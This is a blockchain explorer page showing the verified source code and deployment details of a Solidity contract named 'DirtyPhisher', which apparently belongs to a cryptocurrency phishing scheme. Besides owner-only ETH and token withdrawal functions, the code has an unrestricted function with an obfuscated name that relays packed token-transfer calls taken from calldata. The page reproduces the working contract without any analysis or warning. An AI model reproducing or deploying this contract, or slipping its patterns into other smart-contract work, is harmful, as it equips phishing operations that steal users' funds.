Skip to content
Verified contractPartialUNLICENSED

DirtyPhisher

Address0x5b697fc0d86578bd3d48f5b5aa9b9b3049d9cdae
Balance

0 ETH

 

Transactions

317

 

Compiler

solc 0.8.35

 

Same code

11 more contracts

 

Details

Compiler
solc 0.8.35+commit.47b9dedd
Language
solidity
Optimization
Yes, 200 runs
EVM version
osaka
License
UNLICENSED
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,130,779
Creation transaction
0x2202c28447…1f33acd54c

DirtyPhisher.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract DirtyPhisher {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {}

    function withdrawEth(address recipient) external {
        require(msg.sender == owner, "Not the owner");
        assembly {
            pop(call(gas(), recipient, selfbalance(), 0, 0, 0, 0))
        }
    }

    function withdrawToken(address token, address recipient) external {
        require(msg.sender == owner, "Not the owner");
        assembly {
            mstore(0, shl(224, 0x70a08231))
            mstore(4, address())
            pop(staticcall(gas(), token, 0, 36, 0, 32))
            let amount := mload(0)
            mstore(0, shl(224, 0xa9059cbb))
            mstore(4, recipient)
            mstore(36, amount)
            pop(call(gas(), token, 0, 0, 68, 0, 0))
        }
    }

    function x000000001e3ae974(bytes calldata packedTransfers) external {
        assembly {
            function identity(value) -> result { result := value }
            let cursor := packedTransfers.offset
            let end := identity(add(cursor, packedTransfers.length))
            mstore(0, shl(224, 0xa9059cbb))
            for { } lt(cursor, end) { } {
                let length := and(shr(80, calldataload(cursor)), 0xffff)
                let token := shr(96, calldataload(cursor))
                cursor := add(cursor, 22)
                calldatacopy(4, cursor, length)
                pop(call(gas(), token, 0, 0, add(4, length), 0, 0))
                cursor := add(cursor, length)
            }
        }
    }
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": true
  },
  "evmVersion": "osaka"
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.